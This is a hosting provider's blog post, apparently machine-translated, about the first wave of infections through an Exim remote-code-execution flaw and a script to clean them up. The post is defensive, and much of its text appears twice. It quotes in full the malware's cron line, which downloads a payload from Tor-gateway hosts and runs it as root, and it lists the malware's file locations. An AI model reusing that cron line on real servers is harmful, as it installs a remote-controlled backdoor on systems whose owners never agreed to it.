The first wave affected by the Exim vulnerability. Treatment script
Vulnerability with RCE in Exim has already made a lot of noise, and pretty much patted the nerves of system administrators around the world.
In the wake of massive infections (many of our clients use Exim as their mail server), I quickly set up a script to automate the solution of the problem. The script is far from ideal and is full of non-optimal code, but this is a quick combat solution in order not to perform the same type of actions on hundreds or even thousands of servers.
Works on servers running Centos, RHEL, Debian, Ubuntu with the Exim mail server installed.
')
Check running processes with top.
On infected servers, there is a 100% load created by the [kthrotlds] process. Also in the cron scheduler is added a task with limited editing rights.
All the incidents of infection we have encountered were of the same type, the second and third waves may differ from them - they may have to modify the script. At the time of infection, tasks in cron are lost irretrievably and they must be returned by hand. The "hacks from the shoulder" script - fearlessly updates Exim to patched versions, in the case of Centos 6, even from the test repository. The malware instance is in memory, so the server must be restarted immediately after cleaning the crowns.
Important: the vulnerability allows you to execute code from under the root, which does not provide any guarantees of absolute healing. Having root access to the server, you can hide almost anything on this server, so that it will be almost impossible to find it. Guaranteed to completely cure the server can only be a complete reinstallation, but it is not always possible. If there is no possibility to reinstall the server, and the symptoms coincide with those described - you can try to quickly fill the holes with this script.
Using the script, you do this at your own risk: we tested the script on a number of servers, however, there are always risks of incompatible software versions or configuration conflicts.
Also, our script allows to cure only one of the possible implementations of the infection - it is possible that there are already other ways to exploit vulnerabilities that have not come to our attention.
1. Updates Exim, reinstalls curl.
2. Checks for infection on the server.
2a If there are traces of a viral script in the / etc folder, do the following
2b. If there are no traces of infection, the script quits.
All tasks cron scheduler virus removes. Therefore, after restarting the server, they need to be reconfigured or restored from backup.
curl is also infected with a virus, so it is reinstalled.
A reboot (the script performs it automatically after disinfection) is mandatory - otherwise the malware is stored in the server’s memory and replicates itself every 30 seconds even after the removal of infected files.
Traditionally: before starting, make sure that you have an up-to-date backup copy of the server data.
Connect to the server using ssh as root. You can also use the Shell client in the ISPmanager - Tools panel.
In the terminal, enter the command:
Wait for the script to complete and reboot the server.
After the reboot, check the operation of the server and the sites / applications hosted on it, reconfigure or restore tasks to cron from the backup.
In fact, the script is a temporary solution to restore the server to work, for guaranteed prevention the best solution is to switch to a new server with the version of the operating system that does not already contain vulnerabilities.
All recommendations for finalizing / reworking the script are welcome. If you experience another symptom of infection, please show it. Cooperation at the moments of mass infections significantly reduces the time needed to eliminate these infections.
Good luck!
UPD1: Added on github .
Filled there the source of the script Malvari, which managed to get from the infected server .
UPD2: for Centos 6 came release 4.92 in EPEL, now in all versions of the script is placed from the main repositories. Initially, the script downloaded 4.92 for Centos 6 of EPEL / testing.
In the wake of massive infections (many of our clients use Exim as their mail server), I quickly set up a script to automate the solution of the problem. The script is far from ideal and is full of non-optimal code, but this is a quick combat solution in order not to perform the same type of actions on hundreds or even thousands of servers.
Works on servers running Centos, RHEL, Debian, Ubuntu with the Exim mail server installed.
')
How to understand that the server is hacked?
Check running processes with top.
On infected servers, there is a 100% load created by the [kthrotlds] process. Also in the cron scheduler is added a task with limited editing rights.
Alert section
All the incidents of infection we have encountered were of the same type, the second and third waves may differ from them - they may have to modify the script. At the time of infection, tasks in cron are lost irretrievably and they must be returned by hand. The "hacks from the shoulder" script - fearlessly updates Exim to patched versions, in the case of Centos 6, even from the test repository. The malware instance is in memory, so the server must be restarted immediately after cleaning the crowns.
Important: the vulnerability allows you to execute code from under the root, which does not provide any guarantees of absolute healing. Having root access to the server, you can hide almost anything on this server, so that it will be almost impossible to find it. Guaranteed to completely cure the server can only be a complete reinstallation, but it is not always possible. If there is no possibility to reinstall the server, and the symptoms coincide with those described - you can try to quickly fill the holes with this script.
Using the script, you do this at your own risk: we tested the script on a number of servers, however, there are always risks of incompatible software versions or configuration conflicts.
Also, our script allows to cure only one of the possible implementations of the infection - it is possible that there are already other ways to exploit vulnerabilities that have not come to our attention.
What does the script do?
1. Updates Exim, reinstalls curl.
2. Checks for infection on the server.
The script analyzes the task scheduler for suspicious inclusions.
For example, such:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp 2a If there are traces of a viral script in the / etc folder, do the following
- stops cron
- kills a process started by a viral script
- kills processes curl wget sh four times (run by a virus on a schedule)
- cleans the mail queue from all letters (it is difficult to separate infected messages from harmless ones, so you have to delete the entire queue )
- allows deleting files where fragments of a malicious script are located:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp - deletes these files
- deletes the autostart job in /etc/rc.local
- removes an attacker's key from allowed ssh keys
- runs cron
- and immediately restarts the server
2b. If there are no traces of infection, the script quits.
Clarifications
All tasks cron scheduler virus removes. Therefore, after restarting the server, they need to be reconfigured or restored from backup.
curl is also infected with a virus, so it is reinstalled.
A reboot (the script performs it automatically after disinfection) is mandatory - otherwise the malware is stored in the server’s memory and replicates itself every 30 seconds even after the removal of infected files.
How to use?
Traditionally: before starting, make sure that you have an up-to-date backup copy of the server data.
To run the script:
Connect to the server using ssh as root. You can also use the Shell client in the ISPmanager - Tools panel.
In the terminal, enter the command:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh Wait for the script to complete and reboot the server.
After the reboot, check the operation of the server and the sites / applications hosted on it, reconfigure or restore tasks to cron from the backup.
And finally
In fact, the script is a temporary solution to restore the server to work, for guaranteed prevention the best solution is to switch to a new server with the version of the operating system that does not already contain vulnerabilities.
All recommendations for finalizing / reworking the script are welcome. If you experience another symptom of infection, please show it. Cooperation at the moments of mass infections significantly reduces the time needed to eliminate these infections.
Good luck!
UPD1: Added on github .
Filled there the source of the script Malvari, which managed to get from the infected server .
UPD2: for Centos 6 came release 4.92 in EPEL, now in all versions of the script is placed from the main repositories. Initially, the script downloaded 4.92 for Centos 6 of EPEL / testing.
Source: https://habr.com/ru/post/455636/
All Articles